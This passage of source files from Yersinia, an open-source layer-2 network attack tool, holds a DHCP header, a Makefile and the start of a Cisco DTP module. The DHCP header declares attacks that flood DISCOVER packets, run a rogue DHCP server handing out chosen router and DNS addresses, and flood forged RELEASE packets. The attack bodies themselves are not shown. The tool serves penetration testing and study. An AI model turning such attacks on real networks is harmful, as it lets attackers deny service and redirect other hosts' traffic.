PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __DHCP_H__ #define __DHCP_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define DHCP_HW_TYPE_E10MB 0x01 #define DHCP_HW_LEN_E10MB 0x06 #define DHCP_CLIENT_PORT 68 #define DHCP_SERVER_PORT 67 #define DHCP_MAX_OPTIONS 100 #define DHCP_SMAC 0 #define DHCP_DMAC 1 #define DHCP_SIP 2 #define DHCP_DIP 3 #define DHCP_SPORT 4 #define DHCP_DPORT 5 #define DHCP_OP 6 #define DHCP_HTYPE 7 #define DHCP_HLEN 8 #define DHCP_HOPS 9 #define DHCP_XID 10 #define DHCP_SECS 11 #define DHCP_FLAGS 12 #define DHCP_CIADDR 13 #define DHCP_YIADDR 14 #define DHCP_SIADDR 15 #define DHCP_GIADDR 16 #define DHCP_CHADDR 17 #define DHCP_TLV 18 #define DHCP_SNAME 20 #define DHCP_FILE 21 #define DHCP_OPTIONS 22 #define DHCP_MSG 23 /* Default values */ #define DHCP_DFL_OPCODE LIBNET_DHCP_REQUEST #define DHCP_DFL_HW_TYPE DHCP_HW_TYPE_E10MB #define DHCP_DFL_HW_LEN DHCP_HW_LEN_E10MB #define DHCP_DFL_MSG LIBNET_DHCP_MSGDISCOVER #define DHCP_DFL_HOPS 0 #define DHCP_DFL_SECS 0 #define DHCP_DFL_FLAGS 0x8000 static const struct tuple_type_desc dhcp_type_desc[] = { { LIBNET_DHCP_PAD, "PAD" }, { LIBNET_DHCP_SUBNETMASK, "SUBNETMASK" }, { LIBNET_DHCP_TIMEOFFSET, "TIMEOFFSET" }, { LIBNET_DHCP_ROUTER, "ROUTER" }, { LIBNET_DHCP_TIMESERVER, "TIMESERVER" }, { LIBNET_DHCP_NAMESERVER, "NAMESERVER" }, { LIBNET_DHCP_DNS, "DNS" }, { LIBNET_DHCP_LOGSERV, "LOGSERV" }, { LIBNET_DHCP_COOKIESERV, "COOKIESERV" }, { LIBNET_DHCP_LPRSERV, "LPRSERV" }, { LIBNET_DHCP_IMPSERV, "IMPSERV" }, { LIBNET_DHCP_RESSERV, "RESSERV" }, { LIBNET_DHCP_HOSTNAME, "HOSTNAME" }, { LIBNET_DHCP_BOOTFILESIZE, "BOOTFILESIZE" }, { LIBNET_DHCP_DUMPFILE, "DUMPFILE" }, { LIBNET_DHCP_DOMAINNAME, "DOMAINNAME" }, { LIBNET_DHCP_SWAPSERV, "SWAPSERV" }, { LIBNET_DHCP_ROOTPATH, "ROOTPATH" }, { LIBNET_DHCP_EXTENPATH, "EXTENPATH" }, { LIBNET_DHCP_IPFORWARD, "IPFORWARD" }, { LIBNET_DHCP_SRCROUTE, "SRCROUTE" }, { LIBNET_DHCP_POLICYFILTER, "POLICYFILTER" }, { LIBNET_DHCP_MAXASMSIZE, "MAXASMSIZE" }, { LIBNET_DHCP_IPTTL, "IPTTL" }, { LIBNET_DHCP_MTUTIMEOUT, "MTUTIMEOUT" }, { LIBNET_DHCP_MTUTABLE, "MTUTABLE" }, { LIBNET_DHCP_MTUSIZE, "MTUSIZE" }, { LIBNET_DHCP_LOCALSUBNETS, "LOCALSUBNETS" }, { LIBNET_DHCP_BROADCASTADDR, "BROADCASTADDR" }, { LIBNET_DHCP_DOMASKDISCOV, "DOMASKDISCOV" }, { LIBNET_DHCP_MASKSUPPLY, "MASKSUPPLY" }, { LIBNET_DHCP_DOROUTEDISC, "DOROUTEDISC" }, { LIBNET_DHCP_ROUTERSOLICIT, "ROUTERSOLICIT" }, { LIBNET_DHCP_STATICROUTE, "STATICROUTE" }, { LIBNET_DHCP_TRAILERENCAP, "TRAILERENCAP" }, { LIBNET_DHCP_ARPTIMEOUT, "ARPTIMEOUT" }, { LIBNET_DHCP_ETHERENCAP, "ETHERENCAP" }, { LIBNET_DHCP_TCPTTL, "TCPTTL" }, { LIBNET_DHCP_TCPKEEPALIVE, "TCPKEEPALIVE" }, { LIBNET_DHCP_TCPALIVEGARBAGE, "TCPALIVEGARBAGE" }, { LIBNET_DHCP_NISDOMAIN, "NISDOMAIN" }, { LIBNET_DHCP_NISSERVERS, "NISSERVERS" }, { LIBNET_DHCP_NISTIMESERV, "NISTIMESERV" }, { LIBNET_DHCP_VENDSPECIFIC, "VENDSPECIFIC" }, { LIBNET_DHCP_NBNS, "NBNS" }, { LIBNET_DHCP_NBDD, "NBDD" }, { LIBNET_DHCP_NBTCPIP, "NBTCPIP" }, { LIBNET_DHCP_NBTCPSCOPE, "NBTCPSCOPE" }, { LIBNET_DHCP_XFONT, "XFONT" }, { LIBNET_DHCP_XDISPLAYMGR, "XDISPLAYMGR" }, { LIBNET_DHCP_DISCOVERADDR, "DISCOVERADDR" }, { LIBNET_DHCP_LEASETIME, "LEASETIME" }, { LIBNET_DHCP_OPTIONOVERLOAD, "OPTIONOVERLOAD" }, { LIBNET_DHCP_MESSAGETYPE, "MESSAGETYPE" }, { LIBNET_DHCP_SERVIDENT, "SERVIDENT" }, { LIBNET_DHCP_PARAMREQUEST, "PARAMREQUEST" }, { LIBNET_DHCP_MESSAGE, "MESSAGE" }, { LIBNET_DHCP_MAXMSGSIZE, "MAXMSGSIZE" }, { LIBNET_DHCP_RENEWTIME, "RENEWTIME" }, { LIBNET_DHCP_REBINDTIME, "REBINDTIME" }, { LIBNET_DHCP_CLASSSID, "CLASSSID" }, { LIBNET_DHCP_CLIENTID, "CLIENTID" }, { LIBNET_DHCP_NISPLUSDOMAIN, "NISPLUSDOMAIN" }, { LIBNET_DHCP_NISPLUSSERVERS, "NISPLUSSERVERS" }, { LIBNET_DHCP_MOBILEIPAGENT, "MOBILEIPAGENT" }, { LIBNET_DHCP_SMTPSERVER, "SMTPSERVER" }, { LIBNET_DHCP_POP3SERVER, "POP3SERVER" }, { LIBNET_DHCP_NNTPSERVER, "NNTPSERVER" }, { LIBNET_DHCP_WWWSERVER, "WWWSERVER" }, { LIBNET_DHCP_FINGERSERVER, "FINGERSERVER" }, { LIBNET_DHCP_IRCSERVER, "IRCSERVER" }, { LIBNET_DHCP_STSERVER, "STSERVER" }, { LIBNET_DHCP_STDASERVER, "STDASERVER" }, { LIBNET_DHCP_END, "END" }, { 0, NULL } }; static struct attack_param dhcp_tlv[] = { { NULL, "SUBNETMASK", 4, FIELD_IP, 15, NULL }, { NULL, "ROUTER", 4, FIELD_IP, 15, NULL }, { NULL, "DNS", 4, FIELD_IP, 15, NULL }, { NULL, "HOSTNAME", 15, FIELD_STR, 15, NULL }, { NULL, "DOMAINNAME", 15, FIELD_STR, 15, NULL }, { NULL, "DISCOVERADDR", 4, FIELD_IP, 15, NULL }, { NULL, "LEASETIME", 4, FIELD_HEX, 8, NULL }, { NULL, "MESSAGETYPE", 1, FIELD_HEX, 2, NULL }, { NULL, "SERVIDENT", 4, FIELD_IP, 15, NULL }, { NULL, "MESSAGE", 15, FIELD_STR, 15, NULL }, { NULL, "RENEWTIME", 4, FIELD_HEX, 8, NULL }, { NULL, "REBINDTIME", 4, FIELD_HEX, 8, NULL }, { NULL, "CLASSID", 15, FIELD_STR, 15, NULL }, { NULL, "END", 3, FIELD_STR, 3, NULL }, }; static const struct tuple_type_desc dhcp_opcode[] = { { LIBNET_DHCP_REQUEST, "REQUEST" }, { LIBNET_DHCP_REPLY, "REPLY" }, { 0, NULL } }; static const struct tuple_type_desc dhcp_message[] = { { LIBNET_DHCP_MSGDISCOVER, "DISCOVER" }, { LIBNET_DHCP_MSGOFFER, "OFFER" }, { LIBNET_DHCP_MSGREQUEST, "REQUEST" }, { LIBNET_DHCP_MSGDECLINE, "DECLINE" }, { LIBNET_DHCP_MSGACK, "ACK" }, { LIBNET_DHCP_MSGNACK, "NACK" }, { LIBNET_DHCP_MSGRELEASE, "RELEASE" }, { LIBNET_DHCP_MSGINFORM, "INFORM" }, { 0, NULL } }; static const struct tuple_type_desc dhcp_htype[] = { { DHCP_HW_TYPE_E10MB, "E10MB" }, { 0, NULL } }; static const struct tuple_type_desc dhcp_port[] = { { DHCP_CLIENT_PORT, "CLIENT" }, { DHCP_SERVER_PORT, "SERVER" }, { 0, NULL} }; static struct proto_features dhcp_features[] = { { F_UDP_PORT, DHCP_CLIENT_PORT}, { F_UDP_PORT, DHCP_SERVER_PORT}, { -1, 0 } }; #define MAX_SNAME 64 #define MAX_FNAME 128 /* DHCP stuff */ struct dhcp_data { /* DHCP and Ethernet fields*/ u_int8_t op; u_int8_t htype; u_int8_t hlen; u_int8_t hops; u_int32_t xid; u_int16_t secs; u_int16_t flags; u_int32_t ciaddr; u_int32_t yiaddr; u_int32_t siaddr; u_int32_t giaddr; u_int8_t chaddr[ETHER_ADDR_LEN]; /*char sname[MAX_SNAME]; char fname[MAX_FNAME]; */ /* specific options */ u_int8_t options[MAX_TLV*MAX_VALUE_LENGTH]; u_int8_t options_len; /* UDP Data */ u_int16_t sport; u_int16_t dport; /* IP Data */ u_int32_t sip; u_int32_t dip; /* Ethernet Data */ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; }; static const struct tuple_type_desc dhcp_tlv_desc[] = { { 0, NULL } }; /* Struct needed for using protocol fields within the network client */ struct commands_param dhcp_comm_params[] = { { DHCP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DHCP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DHCP_SIP, "ipsource", "SIP", 4, FIELD_IP, "Set source IP address", " A.A.A.A IPv4 address", 15, 2, 1, NULL, NULL }, { DHCP_DIP, "ipdest", "DIP", 4, FIELD_IP, "Set destination IP address", " A.A.A.A IPv4 address", 15, 2, 1, NULL, NULL }, { DHCP_SPORT, "sport", "SPort", 2, FIELD_DEC, "Set UDP source port", " <0-65535> UDP source port", 5, 2, 0, NULL, dhcp_port }, { DHCP_DPORT, "dport", "DPort", 2, FIELD_DEC, "Set UDP destination port", " <0-65535> UDP destination port", 5, 2, 0, NULL, dhcp_port }, { DHCP_OP, "opcode", "Op", 1, FIELD_HEX, "Set dhcp operation code", " <00-FF> host dynamic configuration operation code", 2, 3, 0, NULL, NULL }, { DHCP_HTYPE, "htype", "Htype", 1, FIELD_HEX, "Set dhcp htype", " <00-FF> dhcp htype", 2, 3, 0, NULL, dhcp_htype }, { DHCP_HLEN, "hlen", "HLEN", 1, FIELD_HEX, "Set dhcp hlen", " <00-FF> dhcp hlen", 2, 3, 0, NULL, NULL }, { DHCP_HOPS, "hops", "Hops", 1, FIELD_HEX, "Set dhcp hops", " <00-FF> dhcp hops", 2, 3, 0, NULL, NULL }, { DHCP_XID, "xid", "Xid", 4, FIELD_HEX, "Set dhcp xid", " <00-FFFFFFFF> dhcp xid", 8, 3, 0, NULL, NULL }, { DHCP_SECS, "secs", "Secs", 2, FIELD_HEX, "Set dhcp secs", " <00-FFFF> dhcp secs", 4, 3, 0, NULL, NULL }, { DHCP_FLAGS, "flags", "Flags", 2,FIELD_HEX, "Set dhcp flags", " <00-FFFF> dhcp flags", 4, 3, 0, NULL, NULL }, { DHCP_CIADDR, "ci", "CI", 4, FIELD_IP, "Set ci IP address", " A.A.A.A IPv4 address", 15, 4, 0, NULL, NULL }, { DHCP_YIADDR, "yi", "YI", 4, FIELD_IP, "Set yi IP address", " A.A.A.A IPv4 address", 15, 4, 0, NULL, NULL }, { DHCP_SIADDR, "si", "SI", 4, FIELD_IP, "Set si IP address", " A.A.A.A IPv4 address", 15, 4, 0, NULL, NULL }, { DHCP_GIADDR, "gi", "GI", 4, FIELD_IP, "Set gi IP address", " A.A.A.A IPv4 address", 15, 4, 0, NULL, NULL }, { DHCP_CHADDR, "ch", "CH", 6, FIELD_MAC, "Set ch MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 5, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, /* { "fname", "Filename", MAX_FNAME, FIELD_STR, "Set boot file name", " WORD Boot file name", MAX_FNAME, NULL },*/ { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL }, /* { "sname", "Sname", MAX_SNAME, FIELD_STR, "Set server hostname", " WORD Server hostname", MAX_SNAME, NULL },*/ { DHCP_TLV, "tlv", "TLV", 0, FIELD_EXTRA, "", "", 0, 0, 0, NULL, NULL} }; struct commands_param_extra dhcp_params_tlv[] = { /* { LIBNET_DHCP_PAD, "PAD" },*/ { LIBNET_DHCP_SUBNETMASK, "subnetmask", "SubnetMask", 4, FIELD_IP, "Set SubnetMaskr", " A.A.A.A IPv4 address", 15, 0, NULL }, /* { LIBNET_DHCP_TIMEOFFSET, "TIMEOFFSET" }, */ { LIBNET_DHCP_ROUTER, "router", "Router", 4, FIELD_IP, "Set Router", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_TIMESERVER, "timeserver", "TimeServer", 4, FIELD_IP, "Set TimeServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_NAMESERVER, "namserver", "NameServer", 4, FIELD_IP, "Set NameServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_DNS, "dns", "DNS", 4, FIELD_IP, "Set DNS", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_LOGSERV, "logserver", "LogServer", 4, FIELD_IP, "Set LogServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_COOKIESERV, "cookieserver", "CookieServer", 4, FIELD_IP, "Set CookieServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_LPRSERV, "lprserver", "LPRServer", 4, FIELD_IP, "Set LPRServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_IMPSERV, "impserver", "Impserver", 4, FIELD_IP, "Set ImpServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_RESSERV, "resserver", "ResServer", 4, FIELD_IP, "Set ResServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_HOSTNAME, "hostname", "HostName", MAX_STRING_SIZE, FIELD_STR, "Set HostName", " WORD HostName", MAX_STRING_SIZE, 0, NULL }, /* { LIBNET_DHCP_BOOTFILESIZE, "BOOTFILESIZE" }, { LIBNET_DHCP_DUMPFILE, "DUMPFILE" }, */ { LIBNET_DHCP_DOMAINNAME, "domainname", "DomainName", MAX_STRING_SIZE, FIELD_STR, "Set DomainName", " WORD DomainName", MAX_STRING_SIZE, 0, NULL }, /* { LIBNET_DHCP_SWAPSERV, "SWAPSERV" }, { LIBNET_DHCP_ROOTPATH, "ROOTPATH" }, { LIBNET_DHCP_EXTENPATH, "EXTENPATH" }, { LIBNET_DHCP_IPFORWARD, "IPFORWARD" }, { LIBNET_DHCP_SRCROUTE, "SRCROUTE" }, { LIBNET_DHCP_POLICYFILTER, "POLICYFILTER" }, { LIBNET_DHCP_MAXASMSIZE, "MAXASMSIZE" }, { LIBNET_DHCP_IPTTL, "IPTTL" }, { LIBNET_DHCP_MTUTIMEOUT, "MTUTIMEOUT" }, { LIBNET_DHCP_MTUTABLE, "MTUTABLE" }, { LIBNET_DHCP_MTUSIZE, "MTUSIZE" }, { LIBNET_DHCP_LOCALSUBNETS, "LOCALSUBNETS" }, { LIBNET_DHCP_BROADCASTADDR, "BROADCASTADDR" }, { LIBNET_DHCP_DOMASKDISCOV, "DOMASKDISCOV" }, { LIBNET_DHCP_MASKSUPPLY, "MASKSUPPLY" }, { LIBNET_DHCP_DOROUTEDISC, "DOROUTEDISC" }, { LIBNET_DHCP_ROUTERSOLICIT, "ROUTERSOLICIT" }, { LIBNET_DHCP_STATICROUTE, "STATICROUTE" }, { LIBNET_DHCP_TRAILERENCAP, "TRAILERENCAP" }, { LIBNET_DHCP_ARPTIMEOUT, "ARPTIMEOUT" }, { LIBNET_DHCP_ETHERENCAP, "ETHERENCAP" }, { LIBNET_DHCP_TCPTTL, "TCPTTL" }, { LIBNET_DHCP_TCPKEEPALIVE, "TCPKEEPALIVE" }, { LIBNET_DHCP_TCPALIVEGARBAGE, "TCPALIVEGARBAGE" }, { LIBNET_DHCP_NISDOMAIN, "NISDOMAIN" }, { LIBNET_DHCP_NISSERVERS, "NISSERVERS" }, { LIBNET_DHCP_NISTIMESERV, "NISTIMESERV" }, { LIBNET_DHCP_VENDSPECIFIC, "VENDSPECIFIC" }, { LIBNET_DHCP_NBNS, "NBNS" }, { LIBNET_DHCP_NBDD, "NBDD" }, { LIBNET_DHCP_NBTCPIP, "NBTCPIP" }, { LIBNET_DHCP_NBTCPSCOPE, "NBTCPSCOPE" }, { LIBNET_DHCP_XFONT, "XFONT" }, { LIBNET_DHCP_XDISPLAYMGR, "XDISPLAYMGR" }, { LIBNET_DHCP_DISCOVERADDR, "DISCOVERADDR" }, */ { LIBNET_DHCP_LEASETIME, "leasetime", "LeaseTime", 4, FIELD_HEX, "Set LeaseTime", " <0x00000000 - 0xFFFFFFFF", 8, 0, NULL }, /* { LIBNET_DHCP_OPTIONOVERLOAD, "OPTIONOVERLOAD" },*/ { LIBNET_DHCP_MESSAGETYPE, "messagetype", "MessageType", 1, FIELD_HEX, "Set MessageType", " <0x00 - 0xFF>", 2, 1, dhcp_message }, { LIBNET_DHCP_SERVIDENT, "servident", "ServIdent", 4, FIELD_IP, "Set ServIdent", " A.A.A.A IPv4 address", 15, 0, NULL }, /* { LIBNET_DHCP_PARAMREQUEST, "PARAMREQUEST" }, { LIBNET_DHCP_MESSAGE, "MESSAGE" }, { LIBNET_DHCP_MAXMSGSIZE, "MAXMSGSIZE" },*/ { LIBNET_DHCP_RENEWTIME, "renewtime", "RenewTime", 4, FIELD_HEX, "Set RenewTime", " <0x00000000 - 0xFFFFFFFF", 8, 0, NULL }, { LIBNET_DHCP_REBINDTIME, "rebindtime", "RebindTime", 4, FIELD_HEX, "Set RebindTime", " <0x00000000 - 0xFFFFFFFF", 8, 0, NULL }, { LIBNET_DHCP_CLASSSID, "classsid", "ClassSID", MAX_STRING_SIZE, FIELD_STR, "Set ClassSID", " WORD ClassSID", MAX_STRING_SIZE, 0, NULL }, /* { LIBNET_DHCP_CLIENTID, "CLIENTID" }, { LIBNET_DHCP_NISPLUSDOMAIN, "NISPLUSDOMAIN" }, { LIBNET_DHCP_NISPLUSSERVERS, "NISPLUSSERVERS" }, { LIBNET_DHCP_MOBILEIPAGENT, "MOBILEIPAGENT" }, { LIBNET_DHCP_SMTPSERVER, "SMTPSERVER" }, { LIBNET_DHCP_POP3SERVER, "POP3SERVER" }, { LIBNET_DHCP_NNTPSERVER, "NNTPSERVER" }, { LIBNET_DHCP_WWWSERVER, "WWWSERVER" }, { LIBNET_DHCP_FINGERSERVER, "FINGERSERVER" }, { LIBNET_DHCP_IRCSERVER, "IRCSERVER" }, { LIBNET_DHCP_STSERVER, "STSERVER" }, { LIBNET_DHCP_STDASERVER, "STDASERVER" }, */ { LIBNET_DHCP_END, "end", "End", 0, FIELD_HEX, "Set End", "", 0, 0, NULL } }; void dhcp_th_send_raw(void *); void dhcp_th_send_raw_exit(struct attacks *); void dhcp_th_send_discover(void *); void dhcp_th_send_discover_exit(struct attacks *); void dhcp_th_send_inform(void *); void dhcp_th_send_inform_exit(struct attacks *); void dhcp_th_send_offer(void *); void dhcp_th_send_offer_exit(struct attacks *); void dhcp_th_send_request(void *); void dhcp_th_send_request_exit(struct attacks *); void dhcp_th_send_decline(void *); void dhcp_th_send_decline_exit(struct attacks *); void dhcp_th_dos_send_discover(void *); void dhcp_th_dos_send_discover_exit(struct attacks *); void dhcp_th_rogue_server(void *); void dhcp_th_rogue_server_exit(struct attacks *); void dhcp_th_dos_send_release(void *); void dhcp_th_dos_send_release_exit(struct attacks *); #define DHCP_ROGUE_SERVER 0 #define DHCP_ROGUE_START_IP 1 #define DHCP_ROGUE_END_IP 2 #define DHCP_ROGUE_LEASE 3 #define DHCP_ROGUE_RENEW 4 #define DHCP_ROGUE_SUBNET 5 #define DHCP_ROGUE_ROUTER 6 #define DHCP_ROGUE_DNS 7 #define DHCP_ROGUE_DOMAIN 8 static struct attack_param dhcp_rogue_server_params[] = { { NULL, "Server ID", 4, FIELD_IP, 15, NULL }, { NULL, "Start IP", 4, FIELD_IP, 15, NULL }, { NULL, "End IP", 4, FIELD_IP, 15, NULL }, { NULL, "Lease Time (secs)", 4, FIELD_HEX, 8, NULL }, { NULL, "Renew Time (secs)", 4, FIELD_HEX, 8, NULL }, { NULL, "Subnet Mask", 4, FIELD_IP, 15, NULL }, { NULL, "Router", 4, FIELD_IP, 15, NULL }, { NULL, "DNS Server", 4, FIELD_IP, 15, NULL }, { NULL, "Domain", 15, FIELD_STR, 15, NULL } }; #define DHCP_DOS_SEND_RELEASE_SERVER 0 #define DHCP_DOS_SEND_RELEASE_START_IP 1 #define DHCP_DOS_SEND_RELEASE_END_IP 2 static struct attack_param dhcp_dos_send_release_params[] = { { NULL, "Server ID", 4, FIELD_IP, 15, NULL }, { NULL, "Start IP", 4, FIELD_IP, 15, NULL }, { NULL, "End IP", 4, FIELD_IP, 15, NULL } }; #define DHCP_ATTACK_SEND_RAW 0 #define DHCP_ATTACK_DOS_SEND_DISCOVER 1 #define DHCP_ATTACK_ROGUE_SERVER 2 #define DHCP_ATTACK_DOS_SEND_RELEASE 3 static struct attack dhcp_attack[] = { { DHCP_ATTACK_SEND_RAW, "sending RAW packet", NONDOS, SINGLE, dhcp_th_send_raw, NULL, 0 }, /* { DHCP_ATTACK_SEND_DISCOVER, "sending DISCOVER packet", NONDOS, dhcp_th_send_discover, NULL, 0 },*/ { DHCP_ATTACK_DOS_SEND_DISCOVER, "sending DISCOVER packet", DOS, CONTINOUS, dhcp_th_dos_send_discover,NULL, 0 }, /* { DHCP_ATTACK_SEND_OFFER, "sending OFFER packet", NONDOS, dhcp_th_send_offer, NULL, 0 }, { DHCP_ATTACK_SEND_REQUEST, "sending REQUEST packet", NONDOS, dhcp_th_send_request, NULL, 0 }, { DHCP_ATTACK_SEND_DECLINE, "sending DECLINE packet", NONDOS, dhcp_th_send_decline, NULL, 0 }, { DHCP_ATTACK_SEND_INFORM, "sending INFORM packet", NONDOS, dhcp_th_send_inform, NULL, 0 },*/ { DHCP_ATTACK_ROGUE_SERVER, "creating DHCP rogue server",NONDOS, CONTINOUS, dhcp_th_rogue_server, dhcp_rogue_server_params, SIZE_ARRAY(dhcp_rogue_server_params) }, { DHCP_ATTACK_DOS_SEND_RELEASE, "sending RELEASE packet", DOS, CONTINOUS, dhcp_th_dos_send_release, dhcp_dos_send_release_params, SIZE_ARRAY(dhcp_dos_send_release_params) }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void dhcp_register(void); int8_t dhcp_send_discover(struct attacks *); int8_t dhcp_send_inform(struct attacks *); int8_t dhcp_send_offer(struct attacks *); int8_t dhcp_send_request(struct attacks *); int8_t dhcp_send_release(struct attacks *, u_int32_t, u_int32_t, u_int8_t *, u_int8_t *); int8_t dhcp_send_decline(struct attacks *); int8_t dhcp_send_packet(struct attacks *); int8_t dhcp_learn_offer(struct attacks *); int8_t dhcp_load_values(struct pcap_data *, void *); char **dhcp_get_printable_packet(struct pcap_data *); char **dhcp_get_printable_store(struct term_node *); int8_t dhcp_update_field(int8_t, struct term_node *, void *); char *dhcp_get_type_info(u_int16_t); int8_t dhcp_init_attribs(struct term_node *); int8_t dhcp_edit_tlv(struct term_node *, u_int8_t, u_int8_t, u_int16_t, u_int8_t *); int8_t dhcp_send_arp_request(struct attacks *, u_int32_t); int8_t dhcp_learn_mac(struct attacks *, u_int32_t, u_int8_t *); int8_t dhcp_init_comms_struct(struct term_node *); int8_t dhcp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_get_formated_inet_address_fill(u_int32_t, char *, u_int16_t, int8_t); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/Makefile.am0000644000175000017500000000240312234207266013774 0ustar nknk# $Id: Makefile.am 43 2007-04-27 11:07:17Z slay $ AUTOMAKE_OPTIONS = no-dependencies DEFS = `$(LIBNET_CONFIG) --defines` @DEFS@ INCLUDES = LIBS = @LIBS@ -lpcap -lnet bin_PROGRAMS = yersinia yersinia_SOURCES = xstp.c parser.c dtp.c dtp.h\ parser.h xstp.h global.h cdp.c cdp.h dhcp.c dhcp.h\ hsrp.h hsrp.c dot1q.h dot1q.c vtp.h vtp.c arp.h arp.c isl.h isl.c\ dot1x.h dot1x.c mpls.c mpls.h thread-util.h thread-util.c\ terminal.c terminal.h terminal-defs.h interfaces.h interfaces.c\ attack.h attack.c yersinia.h yersinia.c md5.c md5.h md5-sum.c\ md5-sum.h protocols.h protocols.c dlist.h dlist.c if HAS_CURSES INCLUDES += $(CURSES_INCLUDEDIR) LIBS += -lpanel $(CURSES_LIBS) yersinia_SOURCES +=\ ncurses-gui.c ncurses-gui.h\ ncurses-callbacks.c ncurses-callbacks.h\ ncurses-interface.c ncurses-interface.h endif if HAVE_GTK INCLUDES += @PACKAGE_CFLAGS@ DEFS += -DPACKAGE_DATA_DIR=\""$(datadir)"\" -DPACKAGE_LOCALE_DIR=\""$(prefix)/$(DATADIRNAME)/locale"\" yersinia_SOURCES += \ gtk-gui.c gtk-gui.h\ gtk-support.c gtk-support.h \ gtk-interface.c gtk-interface.h \ gtk-callbacks.c gtk-callbacks.h yersinia_LDADD = @PACKAGE_LIBS@ $(INTLLIBS) endif if HAVE_REMOTE_ADMIN yersinia_SOURCES += admin.c admin.h commands.c commands.h commands-struct.h endif yersinia-0.7.3/src/dtp.c0000644000175000017500000005551212234207266012704 0ustar nknk/* dtp.c * Implementation and attacks for Cisco's Dynamic Trunking Protocol * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: dtp.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "dtp.h" void dtp_register(void) { protocol_register(PROTO_DTP, "DTP", "Dynamic Trunking Protocol", "dtp", sizeof(struct dtp_data), dtp_init_attribs, dtp_learn_packet, dtp_get_printable_packet, dtp_get_printable_store, dtp_load_values, dtp_attack, dtp_update_field, dtp_features, dtp_comm_params, SIZE_ARRAY(dtp_comm_params), NULL, 0, NULL, dtp_init_comms_struct, PROTO_VISIBLE, dtp_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t dtp_init_comms_struct(struct term_node *node) { struct dtp_data *dtp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dtp_comm_params)); if (comm_param == NULL) { thread_error("dtp_init_commands_struct calloc error",errno); return -1; } dtp_data = node->protocol[PROTO_DTP].tmp_data; node->protocol[PROTO_DTP].commands_param = comm_param; comm_param[DTP_SMAC] = &dtp_data->mac_source; comm_param[DTP_DMAC] = &dtp_data->mac_dest; comm_param[DTP_VERSION] = &dtp_data->version; comm_param[DTP_NEIGH] = &dtp_data->neighbor; comm_param[DTP_STATUS] = &dtp_data->status; comm_param[DTP_TYPE] = &dtp_data->type; comm_param[DTP_DOMAIN] = &dtp_data->domain; comm_param[7] = NULL; comm_param[8] = NULL; return 0; } void dtp_th_send(void *arg) { struct attacks *attacks=NULL; sigset_t mask; struct dtp_data *dtp_data; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); dtp_data = attacks->data; dtp_data->dom_len = strlen(dtp_data->domain); 